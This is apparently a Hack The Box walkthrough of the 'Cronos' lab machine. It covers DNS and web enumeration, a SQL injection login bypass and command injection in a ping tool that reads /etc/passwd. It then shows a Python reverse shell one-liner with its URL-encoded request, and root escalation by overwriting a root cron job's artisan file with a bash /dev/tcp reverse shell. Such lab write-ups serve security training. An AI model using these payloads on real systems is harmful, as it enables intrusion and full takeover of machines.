Cronos

Reconnaissance:

NMAP:

โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[~]
โ””โ”€$ sudo nmap -sC -sV -O 10.10.10.13

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)

53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

Aggressive OS guesses: Linux 3.13 (96%), Linux 3.16 (96%), Linux 3.2 - 4.9 (96%), Linux 4.8 (96%), Linux 4.4 (95%), Linux 4.9 (95%), Linux 3.12 (95%), Linux 3.18 (95%), Linux 3.8 - 3.11 (95%), Linux 4.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[~]
โ””โ”€$ sudo nmap -sU -O 10.10.10.13

53/udp    open          domain
23781/udp open|filtered unknown
43824/udp open|filtered unknown
โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[~]
โ””โ”€$ sudo nmap -sC -sV -p- 10.10.10.13

Enumeration: DNS - TCP/UDP 50

For DNS enumeration, the first thing to do is try to resolve the IPs of Cronos. Iโ€™ll use nslookup, setting the server to Cronos, and then looking up Cronosโ€™ IP:

โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[~]
โ””โ”€$ nslookup 
> server 10.10.10.13
Default server: 10.10.10.13
Address: 10.10.10.13#53
> 10.10.10.13
13.10.10.10.in-addr.arpa        name = ns1.cronos.htb.

Knowing the domain ns1.cronos.htb is useful, as it not only provides a domain name to poke at, but also confirms the base domain cronos.htb. Any time thereโ€™s TCP DNS, itโ€™s worth trying a zone transfer, which returns another two subdomains, admin and www:

โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[~]
โ””โ”€$ dig axfr cronos.htb @10.10.10.13

; <<>> DiG 9.19.17-2~kali1-Kali <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 256 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Thu Dec 28 21:44:01 EST 2023
;; XFR size: 7 records (messages 1, bytes 203)

Iโ€™ll add the following line to my /etc/hosts file:

โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[~]
โ””โ”€$ sudo nano /etc/hosts 

10.10.10.13    cronos.htb
10.10.10.13    www.cronos.htb
10.10.10.13    admin.cronos.htb

Since virtual hosts are involved here, Iโ€™ll run a quick gobuster subdomain brute force, but it only returns the known three:

โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[~]
โ””โ”€$ gobuster dns -d cronos.htb -w /usr/share/seclists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt

Found: www.cronos.htb
Found: ns1.cronos.htb
Found: admin.cronos.htb

Enumeration: Website - TCP 80

By visiting the website by IP address, I just get the default Ubuntu Apache 2 page: I ran a gobuster brute force, but didnโ€™t find anything. ns1.cronos.htb returns the same thing.

Gobuster Enumeration:

โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[~]
โ””โ”€$ gobuster dir -u http://cronos.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt,html

/index.php            (Status: 200) [Size: 2319]
/.php                 (Status: 403) [Size: 289]
/.html                (Status: 403) [Size: 290]
/css                  (Status: 301) [Size: 306] [--> http://cronos.htb/css/]
/js                   (Status: 301) [Size: 305] [--> http://cronos.htb/js/]
/robots.txt           (Status: 200) [Size: 24]
โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[~]
โ””โ”€$ gobuster dir -u http://admin.cronos.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r -t 100 -x php,txt,html 

/.html                (Status: 403) [Size: 296]
/.php                 (Status: 403) [Size: 295]
/index.php            (Status: 200) [Size: 1547]
/welcome.php          (Status: 200) [Size: 1547]
/logout.php           (Status: 200) [Size: 1547]
/config.php           (Status: 200) [Size: 0]
/session.php          (Status: 200) [Size: 1547]
/.php                 (Status: 403) [Size: 295]
/.html                (Status: 403) [Size: 296]
/server-status        (Status: 403) [Size: 304]

Virtual Host Enumeration:

โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[~]
โ””โ”€$ gobuster vhost -k --domain cronos.htb --append-domain -u 10.10.10.13 -w /usr/share/seclists/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt 

Found: www.cronos.htb Status: 200 [Size: 2319]
Found: admin.cronos.htb Status: 200 [Size: 1547]
โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[~]
โ””โ”€$ nikto -h http://10.10.10.13

+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 2caf, size: 5b7cbd6fbb19d, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/

www.cronos.htb - TCP 80

Interestingly, all of the links go to external sites for Laravel, a โ€œPHP framework for web artisansโ€ (whatever that means). Again, gobuster here only returns /css, /js, and index.php.

โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[~]
โ””โ”€$ curl -sv -H 'Host: cronos.htb' 10.10.10.13

Trying 10.10.10.13:80...
* Connected to 10.10.10.13 (10.10.10.13) port 80
> GET / HTTP/1.1
> Host: cronos.htb
> User-Agent: curl/8.4.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Fri, 29 Dec 2023 03:34:46 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Cache-Control: no-cache, private
< Set-Cookie: XSRF-TOKEN=eyJpdiI6IlwvaDBXMjlIRGJadVV1MWdzOUkzV2NnPT0iLCJ2YWx1ZSI6IjdZd1YrOXBndjBUY0lDRGpYOFplcDFFMUhZamtHRTJJY254a2FKMFFTdmVRNEVyUDF1cFFoaEJZNDFSc0c4aCt1Z2owZnk2R2FLREUxYmEyNHFOZlNBPT0iLCJtYWMiOiI2MThlMDU3ZjVjMTQ5MWRjMGQ4OGFlZTMyMzAyNWNmYjQ0OTE1ZTJlNGFkNmFiMDdhMGIzMzNmN2U4YjlkNTRhIn0%3D; expires=Fri, 29-Dec-2023 05:34:46 GMT; Max-Age=7200; path=/
< Set-Cookie: laravel_session=eyJpdiI6ImxFMmlsUng3c2dQTmo3OFRBQWxLOEE9PSIsInZhbHVlIjoiNUZzWFFqM1ZVWk80ZmRCWFk1ek82bkFUSHIyd1haS1V4VFFoYjVVdlJYSEwxVHZMZUFXOUVoUWpVZUIxY1wvc2pva0crdVF6N0VqYnYyQ1c2eitxcmlRPT0iLCJtYWMiOiJjYTkyN2ZlNjViNjJkOTQ1Mzk4MWJlNWZiYzVhNGY2NjViNWRkOTM0NDIyNjE0ZThmNGE2OWI1NDdlNWJkZDQ4In0%3D; expires=Fri, 29-Dec-2023 05:34:46 GMT; Max-Age=7200; path=/; HttpOnly
< Vary: Accept-Encoding
< Content-Length: 2319
< Content-Type: text/html; charset=UTF-8
< 
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <title>Cronos</title>

        <!-- Fonts -->
        <link href="https://fonts.googleapis.com/css?family=Raleway:100,600" rel="stylesheet" type="text/css">

        <!-- Styles -->
        <style>
            html, body {
                background-color: #fff;
                color: #636b6f;
                font-family: 'Raleway', sans-serif;
                font-weight: 100;
                height: 100vh;
                margin: 0;
            }

            .full-height {
                height: 100vh;
            }

            .flex-center {
                align-items: center;
                display: flex;
                justify-content: center;
            }

            .position-ref {
                position: relative;
            }

            .top-right {
                position: absolute;
                right: 10px;
                top: 18px;
            }

            .content {
                text-align: center;
            }

            .title {
                font-size: 84px;
            }

            .links > a {
                color: #636b6f;
                padding: 0 25px;
                font-size: 12px;
                font-weight: 600;
                letter-spacing: .1rem;
                text-decoration: none;
                text-transform: uppercase;
            }

            .m-b-md {
                margin-bottom: 30px;
            }
        </style>
    </head>
    <body>
        <div class="flex-center position-ref full-height">
            
            <div class="content">
                <div class="title m-b-md">
                    Cronos
                </div>

                <div class="links">
                    <a href="https://laravel.com/docs">Documentation</a>
                    <a href="https://laracasts.com">Laracasts</a>
                    <a href="https://laravel-news.com">News</a>
                    <a href="https://forge.laravel.com">Forge</a>
                    <a href="https://github.com/laravel/laravel">GitHub</a>
                </div>
            </div>
        </div>
    </body>
</html>
* Connection #0 to host 10.10.10.13 left intact

searchsploit does show exploits against the Laravel framework:

โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[~]
โ””โ”€$ searchsploit laravel
--------------------------------------------------------------- ---------------------------------
 Exploit Title                                                 |  Path
--------------------------------------------------------------- ---------------------------------
Aimeos Laravel ecommerce platform 2021.10 LTS - 'sort' SQL inj | php/webapps/50538.txt
Laravel - 'Hash::make()' Password Truncation Security          | multiple/remote/39318.txt
Laravel 8.4.2 debug mode - Remote code execution               | php/webapps/49424.py
Laravel Administrator 4 - Unrestricted File Upload (Authentica | php/webapps/49112.py
Laravel Log Viewer < 0.13.0 - Local File Download              | php/webapps/44343.py
Laravel Nova 3.7.0 - 'range' DoS                               | php/webapps/49198.txt
Laravel Valet 2.0.3 - Local Privilege Escalation (macOS)       | macos/local/50591.py
PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site  | php/webapps/50525.txt
PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserial | linux/remote/47129.rb
UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read      | php/webapps/48166.txt
UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary File Up | php/webapps/46389.py

On doing some inspection of these scripts (searchsploit -x [Path]), the first one is a way to trick the hash engine because of a truncation issue, but I donโ€™t see any way to apply it here. The second, forth, and fifth are not for this web framework.

The Metasploit script could have promise, but there are two issues:

  • I donโ€™t know the version of Laravel thatโ€™s being run to know if it is vulnerable.

  • The exploit requires that I find a way to leak the APP_KEY. If I can find a way to leak that (perhaps an LFI), Iโ€™ll come back to give this a try.

admin.cronos.htb - TCP 80

The site just presents a login form and an advertisement (something I hadnโ€™t seen in HTB before; it seems to be real).

Shell as www-data

SQLi Bypass Login:

The payload allows me to bypass the login, which presents the next page, Net Tool v0.1:

http://admin.cronos.htb/
admin';#
' OR 1=1;#
http://admin.cronos.htb/welcome.php
SELECT * FROM users WHERE username = 'login_form_username' AND password = 'login_form_password_hash';

With SQL injection, the attacker is injecting additional characters into the original SQL statement, causing an entirely different SQL query to be executed. In the case

SELECT * FROM users WHERE username = 'admin';# 
the rest of the query is commented out and the user admin exists, so the query is successful

SELECT * FROM users WHERE username = '' OR 1=1;# 
the rest of the query is commented out and 1=1 is true, so the query is successful

Command Injection:

The dropdown offers traceroute and ping. I can ping myself, and the results are printed on the screen:

PING 10.10.16.4 

PING 10.10.16.4 (10.10.16.4) 56(84) bytes of data.
64 bytes from 10.10.16.4: icmp_seq=1 ttl=63 time=528 ms
--- 10.10.16.4 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 528.014/528.014/528.014/0.000 ms
PING 127.0.0.1; cat /etc/passwd
 root:x:0:0:root:/root:/bin/bash
 www-data:x:33:33:www-data:/var/www:/bin/bash
 noulis:x:1000:1000:Noulis Panoulis,,,:/home/noulis:/bin/bash

It is so Iโ€™m not sure why this didnโ€™t work. Letโ€™s try python.

โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[~]
โ””โ”€$ nc -lnvp 5555
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

command=traceroute&host=8.8.8.8+|+python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.16.4",5555))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'

We get back a low privileged shell!

$ whoami
www-data

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@cronos:/var/www/admin$ 

www-data@cronos:/home/noulis$ cat user.txt
e908ff-------------------------

www-data@cronos:/$ cd root
bash: cd: root: Permission denied

Priv: www-data โ€“> root

Iโ€™ll go into my local linPEAS directory and start a Python3 webserver. Then I can grab it from Cronos:

โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[/opt/linpeas]
โ””โ”€$ python -m SimpleHTTPServer 5555
Serving HTTP on 0.0.0.0 port 5555 ...
www-data@cronos:/var/www/admin$ cd /tmp
www-data@cronos:/tmp$ wget http://10.10.16.4:5555/linpeas.sh
www-data@cronos:/tmp$ chmod +x linpeas.sh
www-data@cronos:/tmp$ ./linpeas.sh

Now run it, and in the Cron jobs section, the last line is red:

โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ฃ Executing Linux Exploit Suggester 2
โ•š https://github.com/jondonas/linux-exploit-suggester-2                                           
  [1] af_packet                                                                                   
      CVE-2016-8655
      Source: http://www.exploit-db.com/exploits/40871
  [2] exploit_x
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [3] get_rekt
      CVE-2017-16695
      Source: http://www.exploit-db.com/exploits/45010

โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ฃ Users with console
noulis:x:1000:1000:Noulis Panoulis,,,:/home/noulis:/bin/bash                                      
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash


SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

The cron syntax here says that it will run every minute, as root

I donโ€™t really need to know what the Laravel artisan is doing. What does matter is that as www-data, I have write permissions on that file

Poison artisan

Make a copy of the artisan file

www-data@cronos:/tmp$ cd /var/www/laravel
www-data@cronos:/var/www/laravel$ ls -la artisan
-rwxr-xr-x 1 www-data www-data 1646 Apr  9  2017 artisan

www-data@cronos:/var/www/laravel$ cp artisan artisan.orig

Create the reverse shell payload

www-data@cronos:/var/www/laravel$ echo '<?php exec("/bin/bash -c '"'"'bash -i >& /dev/tcp/10.10.16.4/443 0>&1'"'"'");' > /var/www/laravel/artisan

Cron job will run every minute

โ”Œโ”€โ”€(kali๐Ÿ’€kali)-[~]
โ””โ”€$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.13] 39400
root@cronos:~# whoami
root
root@cronos:~# cat root.txt
cat root.txt
701782-----------------------------

Last updated